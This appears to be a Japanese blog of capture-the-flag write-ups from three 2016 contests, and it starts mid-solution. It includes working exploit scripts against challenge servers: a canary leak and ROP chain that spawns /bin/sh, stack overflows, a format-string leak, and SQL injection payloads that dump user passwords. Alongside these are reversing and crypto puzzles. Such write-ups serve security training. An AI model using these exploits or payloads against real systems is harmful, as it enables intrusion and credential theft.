    print "[+] canary = %x" % canary

# leak libc address
data = view_record(s, 7)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    saved_ebp = int(m.group(1)) % 0x100000000
    print "[+] saved_ebp = %x" % saved_ebp
    data = m.group(2)
    addr_libc = u32(data[:4])
    print "[+] addr_libc = %x" % addr_libc

# put canary on stack
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, canary, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')

# overwrite eip
plt_fwrite = 0x8048550

buf = p32(plt_fwrite) + 'AAAA' + p32(addr_libc) + p32(0x01010101) + p32(0x1) + p32(libc_stdout)

add_record(s, u32(buf[8:12]), buf[:8])
add_record(s, u32(buf[20:24]), buf[12:20])

do_exit(s)

print '[+] dump libc memory'
f = open('dump.bin', 'wb')
while True:
    data = s.recv(8192)
    if not data:
        break
    f.write(data)
f.close()

interact(s)
$ python test.py
[+] libc_stdout = f775bac0
[+] canary = -4bdca00
[+] saved_ebp = ff8099d4
[+] addr_libc = f75cdad3
[+] dump libc memory
*** Connection closed by remote host ***

$ ls -al dump.bin
-rw-r--r-- 1 user user 1639091 Nov 20 21:33 dump.bin

次に、読み出したメモリからexecve("/bin/sh", NULL, NULL)を呼ぶために必要なgadgetのオフセットを探し、これを用いてROPを行うコードを書く。

from minipwn import *
import re

def add_record(s, _id, code):
    recvuntil(s, 'Choose: ')
    sendline(s, '1')
    recvuntil(s, 'Enter product ID: ')
    sendline(s, str(_id))
    recvuntil(s, 'Enter product code: ')
    sendline(s, code)
    recvuntil(s, 'IMS\n')

def delete_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '2')
    recvuntil(s, 'Enter index to delete: ')
    sendline(s, str(index))
    recvuntil(s, 'IMS\n')

def view_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '3')
    recvuntil(s, 'Enter the index of the product you wish to view: ')
    sendline(s, str(index))
    data = recvuntil(s, 'There ')[:-6]
    recvuntil(s, 'IMS\n')
    return data

def do_exit(s):
    recvuntil(s, 'Choose: ')
    sendline(s, '4')

#s = connect_process(['./IMS-hard'])
s = socket.create_connection(('ims.ctf.rc3.club', 8888))

# leak canary
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    canary = int(m.group(1))
    print "[+] canary = %x" % canary

# leak libc address
data = view_record(s, 7)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    saved_ebp = int(m.group(1)) % 0x100000000
    print "[+] saved_ebp = %x" % saved_ebp
    data = m.group(2)
    addr_libc = u32(data[:4])
    print "[+] addr_libc = %x" % addr_libc

# put canary on stack
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, canary, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')

# overwrite eip
dump = open('dump.bin').read()

addr_ret = 0x80484d2
offset_binsh = dump.index('/bin/sh\x00')
offset_pop_eax = dump.index('\x58\xc3')
offset_pop_ebx = dump.index('\x5b\xc3')
offset_pop_ecx_edx = dump.index('\x59\x5a\xc3')
offset_int80 = dump.index('\xcd\x80')
print "[+] offset_binsh = %x" % offset_binsh
print "[+] offset_pop_eax = %x" % offset_pop_eax
print "[+] offset_pop_ebx = %x" % offset_pop_ebx
print "[+] offset_pop_ecx_edx = %x" % offset_pop_ecx_edx
print "[+] offset_int80 = %x" % offset_int80

buf = p32(addr_libc + offset_pop_eax) + p32(11)
buf += p32(addr_libc + offset_pop_ebx) + p32(addr_libc + offset_binsh)
buf += p32(addr_ret)
buf += p32(addr_libc + offset_pop_ecx_edx) + p32(0) + p32(0)
buf += p32(addr_libc + offset_int80)

add_record(s, u32(buf[8:12]), buf[:8])
add_record(s, u32(buf[20:24]), buf[12:20])
add_record(s, u32(buf[32:36]), buf[24:32])

do_exit(s)

print '[+] got a shell'
interact(s)

起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。

$ python test2.py
[+] canary = -15d07300
[+] saved_ebp = ff84df44
[+] addr_libc = f757ead3
[+] offset_binsh = 143fb9
[+] offset_pop_eax = ab55
[+] offset_pop_ebx = 10d
[+] offset_pop_ecx_edx = 14748
[+] offset_int80 = 14a12
[+] got a shell
id
uid=1001(IMS-hard) gid=1001(IMS-hard) groups=1001(IMS-hard)
cat /home/IMS-hard/flag.txt
RC3-2016-SAVAGE-1337HAX-BRO

所感

他に解きたかった問題は以下。

  • Bridge of Cyber (Misc 200)
  • "Just joking," Joker joked! (Web 200)
  • Some Pang (Forensics 50)
  • FLE (Reversing 200)
  • GoReverseMe (Reversing 250)

関連リンク

Hack The Vote 2016 供養(Writeup)

Hack The Vote 2016に参加。251ptで244位。

Sanity (Vote 1)

サービス問題。

The flag is flag{th3r3_1s_0nly_on3_ch0ic3}

TOPKEK (Crypto 50)

次のようなテキストファイルが与えられる。

$ cat kek.43319559636b94db1c945834340b65d68f90b6ecbb70925f7b24f6efc5c2524e.txt
KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!

KEKを0、TOPを1とし、!の数だけその数字が繰り返されるものとして2進数で表し、さらに16進に直すとFlagが得られる。

data = open('kek.43319559636b94db1c945834340b65d68f90b6ecbb70925f7b24f6efc5c2524e.txt').read()
s = ''
for word in data.split():
    if 'KEK' in word:
        c = '0'
    else:
        c = '1'
    s += c * (len(word)-3)
s = "%x" % int(s, 2)
print s.decode('hex')

Consul (Reversing 100)

関数c8で文字列bの各バイトに変数memの値を足したものを出力している。

.text:0000000000400A09                 public c8
.text:0000000000400A09 c8              proc near
.text:0000000000400A09                 push    rbp
.text:0000000000400A0A                 mov     rbp, rsp
.text:0000000000400A0D                 mov     eax, cs:mem
.text:0000000000400A13                 add     eax, 9
.text:0000000000400A16                 mov     cs:mem, eax
.text:0000000000400A1C                 mov     edi, offset b
.text:0000000000400A21                 call    add_mem
.text:0000000000400A26                 mov     rsi, rax
.text:0000000000400A29                 mov     edi, offset format ; "%s\r\n"
.text:0000000000400A2E                 mov     eax, 0
.text:0000000000400A33                 call    _printf
.text:0000000000400A38                 pop     rbp
.text:0000000000400A39                 retn
.text:0000000000400A39 c8              endp
0000000000601280  26 2C 21 27 3B 37 32 29  34 25 1F 29 2E 1F 22 25  &,!';72)4%.).."%
0000000000601290  32 2E 29 25 E1 3D 00 00  00 00 00 00 00 00 00 00  2.)%.=..........

26 2C 21 2766 6C 61 67 (flag)になると推測して、各バイトに0x40を足してみるとflagが得られた。

$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = """26 2C 21 27 3B 37 32 29  34 25 1F 29 2E 1F 22 25
... 32 2E 29 25 E1 3D"""
>>> x = x.replace('\n', '').replace(' ', '').decode('hex')
>>> ''.join(chr((ord(c)+0x40) % 0x100) for c in x)
'flag{write_in_bernie!}'

IRS (Exploitation 100)

Editを選んだ後y/nを聞かれる箇所でgets関数が使われており、スタックバッファオーバーフロー脆弱性がある。

.text:080488FD 68 BE 92 04 08                    push    offset aYN      ; "y/n\r"
.text:08048902 E8 F1 FB FF FF                    call    puts
.text:08048907 83 C4 10                          add     esp, 10h
.text:0804890A 83 EC 0C                          sub     esp, 0Ch
.text:0804890D 8D 45 EB                          lea     eax, [ebp+s]
.text:08048910 50                                push    eax             ; s
.text:08048911 E8 C2 FB FF FF                    call    gets

ヒントを参考に、文字列not_the_flagをセットしている箇所のコードを出力させることでFlagが得られる。

Hint: not_the_flag will actually be the flag on the server

from minipwn import *

def menu_file(s, name, password, income, deductible):
    print s.recv(8192)
    sendline(s, '1')
    print recvuntil(s, ': ')
    sendline(s, name)
    print recvuntil(s, ': ')
    sendline(s, password)
    print recvuntil(s, ': ')
    sendline(s, str(income))
    print recvuntil(s, ': ')
    sendline(s, str(deductible))
    print recvuntil(s, '!\r\n')

def menu_edit(s, name, password, income, deductible, yorn):
    print s.recv(8192)
    sendline(s, '3')
    print recvuntil(s, ': ')
    sendline(s, name)
    print recvuntil(s, ': ')
    sendline(s, password)
    print recvuntil(s, ': ')
    sendline(s, str(income))
    print recvuntil(s, ': ')
    sendline(s, str(deductible))
    print recvuntil(s, 'y/n\r\n')
    sendline(s, yorn)
    print recvuntil(s, '!\r\n')

#s = connect_process(['./irs.4ded467171bb532f7dba8e8fe42a1fc121aa1498a3f1748064755e2566593360'])
s = socket.create_connection(('irs.pwn.republican', 4127))
raw_input()
menu_file(s, 'AAAA', 'BBBB', 100, 100)

plt_puts = 0x80484F8
addr_text = 0x8048AC2

buf = 'A' * 25
buf += p32(plt_puts) + 'AAAA' + p32(addr_text)

menu_edit(s, 'AAAA', 'BBBB', 100, 100, buf)
data = s.recv(8192)
print "%r" % data
$ python test.py

Welcome to the IRS!
How may we serve you today?
1. File a tax return
2. Delete a tax return
3. Edit a tax return
4. View a tax return
5. Exit

Tax returns on file:
0 - Donald Trump

Enter the name:
Enter the password:
Enter the income:
Enter the deductions:
Thank you for doing your civic duty AAAA!

Welcome to the IRS!
How may we serve you today?
1. File a tax return
2. Delete a tax return
3. Edit a tax return
4. View a tax return
5. Exit

Tax returns on file:
0 - Donald Trump
1 - AAAA

Enter the name of the file to edit:
Enter the password:
Enter the new income:
Enter the new deductible:
Is this correct?
Income: 100
Deductible: 100
y/n

Your changes have been recorded!

'flag\xc7@\x04{c4n\xc7@\x08_1_g\xc7@\x0c3t_a\xc7@\x10_r3f\xc7@\x14und}\x8bE\xf0\xc7@d\xff\x9frN\x8bE\xf0\xc7@h\xff\x9frN\x8bE\xf0\x89E\xd0\x83\xec\x0c\x8dE\xd0P\xe8,\xfb\xff\xff\x83\xc4\x10\xa1 \xb0\x04\x08\x83\xec\x04Pj\x03\x8dE\xe5P\xe8\xc2\xf9\xff\xff\x83\xc4\x10\x83\xec\x04j2j\n'

$ echo -en 'flag\xc7@\x04{c4n\xc7@\x08_1_g\xc7@\x0c3t_a\xc7@\x10_r3f\xc7@\x14und}\x8bE\xf0\xc7@d\xff\x9frN\x8bE\xf0\xc7@h\xff\x9frN\x8bE\xf0\x89E\xd0\x83\xec\x0c\x8dE\xd0P\xe8,\xfb\xff\xff\x83\xc4\x10\xa1 \xb0\x04\x08\x83\xec\x04Pj\x03\x8dE\xe5P\xe8\xc2\xf9\xff\xff\x83\xc4\x10\x83\xec\x04j2j\n' | strings | tr -d '\n'
flag{c4n_1_g3t_a_r3fund}

所感

他に解きたかった問題は以下。

関連リンク

EKOPARTY CTF 2016 供養(Writeup)

EKOPARTY CTF 2016に参加。575ptで182位。

Hidden inside EKO (misc, 50 points)

背景画像にFlagが書かれている。

EKO{th3_fl4g}

Mr. Robot (web, 25 points)

robots.txtにFlagの書かれたファイルへのパスがある。

EKO{robot_is_following_us}

RFC 7230 (web, 50 points)

ServerレスポンスヘッダにFlagがある。

$ curl -v https://ctf.ekoparty.org/static/files/for50_ed4b8625b6be1bd0.zip
*   Trying 52.204.197.190...
* Connected to ctf.ekoparty.org (52.204.197.190) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 692 certificates in /etc/ssl/certs
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_256_GCM_SHA384
*        server certificate verification OK
*        server certificate status verification SKIPPED
*        common name: ctf.ekoparty.org (matched)
*        server certificate expiration date OK
*        server certificate activation date OK
*        certificate public key: RSA
*        certificate version: #3
*        subject: CN=ctf.ekoparty.org
*        start date: Thu, 08 Sep 2016 22:26:00 GMT
*        expire date: Wed, 07 Dec 2016 22:26:00 GMT
*        issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
*        compression: NULL
* ALPN, server accepted to use http/1.1
> GET /static/files/for50_ed4b8625b6be1bd0.zip HTTP/1.1
> Host: ctf.ekoparty.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: EKO{this_is_my_great_server}
< Date: Thu, 27 Oct 2016 23:36:39 GMT
< Content-Type: application/zip
< Content-Length: 20684
< Last-Modified: Tue, 25 Oct 2016 04:08:43 GMT
< Connection: keep-alive
< ETag: "580edacb-50cc"
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=63072000; preload
< Accept-Ranges: bytes
<

Super duper advanced attack (web, 100 points)

SQL injection問題。ユーザ定義変数にFlagがある。

' OR 1=1 --
' UNION SELECT table_name, column_name FROM information_schema.columns --
' UNION SELECT username, password FROM users --
' UNION SELECT @flag, @flag --
EKO{do_not_forget_session_variables}

Welcome to the dark side (fbi, 25 points)

Tor Browserで与えられたonionドメインにアクセスすると、HTMLソースコードにFlagがある。

<!-- 25 - EKO{buy_me_some_b0ts} -->

Metadata (fbi, 50 points)

アクセスしたonionドメインTLS証明書を見ると、subjectのOU(部門)にFlagがある。

50 - EKO{is_this_just_real_life_is_this_just_fantasy}

JVM (rev, 25 points)

JADデコンパイルする。1336までの総和がFlag。

user@vm-kali32:~$ unzip rev25_3100aa76fca4432f.zip
Archive:  rev25_3100aa76fca4432f.zip
  inflating: EKO.class

user@vm-kali32:~$ jad EKO.class
Parsing EKO.class...The class file version is 52.0 (only 45.3, 46.0 and 47.0 are supported)
 Generating EKO.jad
user@vm-kali32:~$ cat EKO.jad
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name:   EKO.java


public class EKO
{

    public EKO()
    {
    }

    public static void main(String args[])
    {
        int i = 0;
        for(int j = 0; j < 1337; j++)
            i += j;

        String s = (new StringBuilder()).append("EKO{").append(i).append("}").toString();
    }
}

user@vm-kali32:~$ python
Python 2.7.9 (default, Mar  1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> sum(xrange(1337))
893116
EKO{893116}

F#ck (rev, 50 points)

F#で書かれた.NET形式実行ファイル。ILSpyでデコンパイルすると次のようなコードがある。

using Microsoft.FSharp.Core;
using System;
using System.Globalization;
using System.IO;

[CompilationMapping(SourceConstructFlags.Module)]
public static class Program
{
    [Serializable]
    internal class teArr@9 : FSharpFunc<int, string>
    {
        public string str;

        public int[] ccIndices;

        internal teArr@9(string str, int[] ccIndices)
        {
            this.str = str;
            this.ccIndices = ccIndices;
        }

        public override string Invoke(int i)
        {
            if (i == this.ccIndices.Length - 1)
            {
                return this.str.Substring(i);
            }
            int num = this.ccIndices[i];
            return this.str.Substring(num, this.ccIndices[i + 1] - num);
        }
    }

    public static string get_flag(string str)
    {
        int[] array = StringInfo.ParseCombiningCharacters(str);
        int num = array.Length;
        FSharpFunc<int, string> fSharpFunc = new Program.teArr@9(str, array);
        if (num < 0)
        {
            Operators.Raise<Unit>(new ArgumentException(LanguagePrimitives.ErrorStrings.InputMustBeNonNegativeString, "count"));
        }
        string[] array2 = new string[num];
        int num2 = 0;
        int num3 = num - 1;
        if (num3 >= num2)
        {
            do
            {
                array2[num2] = fSharpFunc.Invoke(num2);
                num2++;
            }
            while (num2 != num3 + 1);
        }
        string[] array3 = array2;
        Array.Reverse(array3);
        return string.Join("", array3);
    }

    [EntryPoint]
    public static int main(string[] argv)
    {
        if (argv.Length != 1)
        {
            ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("Usage: FlagGenerator.exe <FLAG>"));
        }
        else
        {
            string text = Program.get_flag("t#hs_siht_kc#f");
            if (string.Equals(text, argv[0]))
            {
                FSharpFunc<string, Unit> fSharpFunc = ExtraTopLevelOperators.PrintFormatLine<FSharpFunc<string, Unit>>(new PrintfFormat<FSharpFunc<string, Unit>, TextWriter, Unit, Unit, string>("EKO{%s}"));
                string func = text;
                fSharpFunc.Invoke(func);
            }
            else
            {
                ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("BAD ANSWER"));
            }
        }
        return 0;
    }
}

文字列を逆順に並び換えたものがFlag。

$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 't#hs_siht_kc#f'[::-1]
'f#ck_this_sh#t'
EKO{f#ck_this_sh#t}

RrEeGgEeXx (rev, 75 points)

.NET形式実行ファイル。ILSpyでデコンパイルすると次のような正規表現チェックがあり、これを満たす文字列がFlag。

if (Program.check_regex("^.{40}$", input) && Program.check_regex("\\w{3}\\{.*\\}", input) && Program.check_regex("_s.*e_", input) && Program.check_regex("\\{o{2}O{2}o{2}", input) && Program.check_regex("O{2}o{2}O{2}\\}", input) && Program.check_regex("sup3r_r3g3x_challenge", input))
EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}

Ultra baby (pwn, 25 points)

スタックバッファオーバーフロー脆弱性がある。Partial overwriteでリターンアドレスをFlag関数の先頭に書き換える。

from minipwn import *

#s = connect_process(['./ultrababy'])
s = socket.create_connection(('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000))
print s.recv(8192)
s.sendall('A' * 0x18 + '\xf3' + '\n')
print s.recv(8192)
interact(s)
$ python test.py
Welcome, give me you best shot

EKO{Welcome_to_pwning_challs_2k16}

*** Connection closed by remote host ***

My first service I (pwn, 100 points)

Format string bugがある。次のようにしてスタック上のFlagが読める。

$ nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 35000
Welcome to my first service
Please input the secret key: %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Invalid key: (nil).0xa.(nil).(nil).(nil).0xa.(nil).0x454b4f7b.0x4c614269.0x67426566.0x3072647d.(nil).0x25702e25.0x702e2570.0x2e25702e.0x25702e25.0x702e2570.0x2e25702e.0x25702e25.0x702e2570.
$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "454b4f7b4c614269674265663072647d".decode('hex')
'EKO{LaBigBef0rd}'

所感

他に解きたかった問題は以下。

  • Congested service (misc, 100 points)
    • DCCPで接続する問題
  • X-Flag (misc, 150 points)
    • TCP 6000でX11パケットが飛んでくる問題
  • Carder (web, 150 points)
  • Url shortener (web, 200 points)
  • Find me (fbi, 100 points)
  • Secure Upload Hidden Service (fbi, 200 points)
  • Old times (rev, 100 points)
    • IBM OS/400 save file data(拡張子SAVF)を読む問題
  • Fuckzing reverse (rev, 250 points)
  • Bleeding (pwn, 50 points)
  • My first service II (pwn, 300 points)
  • Certified Excel Hacker (for, 50 points)
    • パスワード付きのVBAマクロを読む問題 隠しシートがあったらしい
  • Damaged (for, 75 points)
    • 破損したbmpファイルを読む問題

関連リンク